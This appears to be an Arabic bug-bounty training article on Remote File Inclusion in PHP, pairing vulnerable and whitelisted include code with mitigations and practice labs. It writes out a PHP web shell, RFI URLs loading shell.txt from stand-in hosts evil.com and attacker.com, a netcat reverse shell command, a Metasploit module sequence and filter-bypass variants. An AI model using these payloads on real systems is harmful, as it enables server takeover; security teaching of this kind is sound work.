ملخص كتاب Bug Bounty Web Security 📅 27 فبراير 2026 · ⏱️ 10 دقائق

دليل Remote File Inclusion (RFI)

من سلسلة Bug Bounty Training. تعلم كيف يستغل المخترقون ثغرات RFI وكيف تحمي تطبيقاتك منها.

⚠️ خطورة حرجة

ثغرة RFI تحصل على CVSS 9.8 - من أعلى الدرجات. تسمح للمهاجم بتنفيذ أوامر على الخادم (RCE) والسيطرة الكاملة عليه.

؟ ما هي Remote File Inclusion؟

RFI هي ثغرة في تطبيقات PHP (وأحياناً لغات أخرى) تسمح للمهاجم بتضمين ملف من خادم خارجي في التطبيق. لو التطبيق ما يفلتر المدخلات بشكل صحيح، المهاجم يقدر يحقن كود PHP ضار.

// مثال URL ضعيف:

https://target.com/index.php?page=home.php


// المهاجم يستغل:

https://target.com/index.php?page=http://evil.com/shell.txt

⚠️ نتائج استغلال RFI:

  • 1. تنفيذ أوامر عن بُعد (RCE) - الأخطر
  • 2. السيطرة الكاملة على الخادم
  • 3. تشويه الموقع أو سرقة بيانات حساسة
  • 4. تنفيذ هجمات Client-Side مثل XSS

؟ ليش تحصل ثغرة RFI؟

السبب الجذري: كود PHP سيء يكتب بدون فلترة المدخلات. شوف الفرق:

كود ضعيف

// ❌ خطير جداً
<?php
  $page = $_GET['page'];
  include($page);
?>

يسمح بتضمين أي ملف من الإنترنت

كود آمن

// ✅ آمن - whitelist
<?php
  $allowed = ['home', 'about', 'contact'];
  $page = $_GET['page'] ?? 'home';
  if (in_array($page, $allowed)) {
    include("$page.php");
  }
?>

يقبل فقط الصفحات من القائمة المسموحة

كيف يستغلها المهاجم؟

1. الاستغلال الأساسي

المهاجم يرفع ملف PHP ضار على سيرفره الخاص، ثم يستدعيه عبر URL.

# على سيرفر المهاجم:

echo '<?php system($_GET["cmd"]); ?>' > shell.txt

# المهاجم يفتح:

http://target.com/index.php?page=http://attacker.com/shell.txt&cmd=id

2. Reverse Shell عبر Netcat

لما يكون الـ RCE محقق، المهاجم يفتح اتصال عكسي على سيرفره.

# على سيرفر المهاجم (Terminal 1):

nc -lvnp 4444

# في الـ URL:

http://target.com/index.php?page=http://attacker.com/shell.txt

# shell.txt يحتوي:

nc attacker.com 4444 -e /bin/bash

3. استغلال Metasploit

Metasploit عنده module جاهز لـ RFI.

use exploit/unix/webapp/php_include

set RHOST target.com

set PHPURI /index.php?page=XXpathXX

set PATH /shell.txt

exploit

🛡️ تجاوز Blacklist

بعض التطبيقات تحاول فلترة http/https في الـ URL. المهاجم يلتف حولها بطرق ذكية:

الطريقة 1: Null Byte Attack

http://target.com/index.php?page=http://attacker.com/shell.txt%00

في PHP قديم، null byte يقطع النص بعده ويتجاهل اللواحق

الطريقة 2: SMB Server

لو التطبيق يحظر HTTP لكن يسمح بـ UNC paths (Windows):

http://target.com/index.php?page=\\\\attacker.com\\share\\shell.txt

الطريقة 3: URL Encoding

h%74tp://attacker.com/shell.txt

تشفير حرف أو أكثر من URL

🛡️ كيف تحمي تطبيقك؟

✅ 1. استخدم Whitelist صارمة

حدد الصفحات المسموح تضمينها بقائمة ثابتة. لا تقبل أي input حرفي.

✅ 2. عطّل allow_url_include

; في php.ini allow_url_include = Off allow_url_fopen = Off

يمنع PHP من تضمين URLs خارجية بشكل افتراضي

✅ 3. استخدم دوال آمنة

بدل include() استخدم خرائط ثابتة أو template engines.

✅ 4. WAF (Web Application Firewall)

ModSecurity أو Cloudflare WAF يقدر يكتشف محاولات RFI ويحظرها.

✅ 5. تحديث PHP

PHP 5.3+ أصلح كثير من Null Byte attacks. استخدم إصدار حديث دائماً.

🎯 أين تتدرب عليها؟

⚠️ مهم جداً: طبّق على تطبيقات قانونية فقط! لا تختبر على مواقع بدون إذن.

  • DVWA: Damn Vulnerable Web Application - تطبيق متعمد ضعفه للتدريب
  • bWAPP: أكثر من 100 ثغرة للتدريب
  • PortSwigger Academy: مختبرات RFI/LFI مجانية
  • HackTheBox: آلات تحاكي سيناريوهات حقيقية

📊 تصنيف الثغرة رسمياً

CWE الوصف
CWE-98 التحكم غير السليم في اسم الملف لـ include/require في PHP
CWE-20 التحقق غير السليم من المدخلات
CWE-200 كشف معلومات حساسة لمستخدم غير مصرح له
CVSS Score 9.8 - CRITICAL ⚠️

تعلم تطبق تختبر بشكل أخلاقي

دائماً على تطبيقات اختبارية بإذن كتابي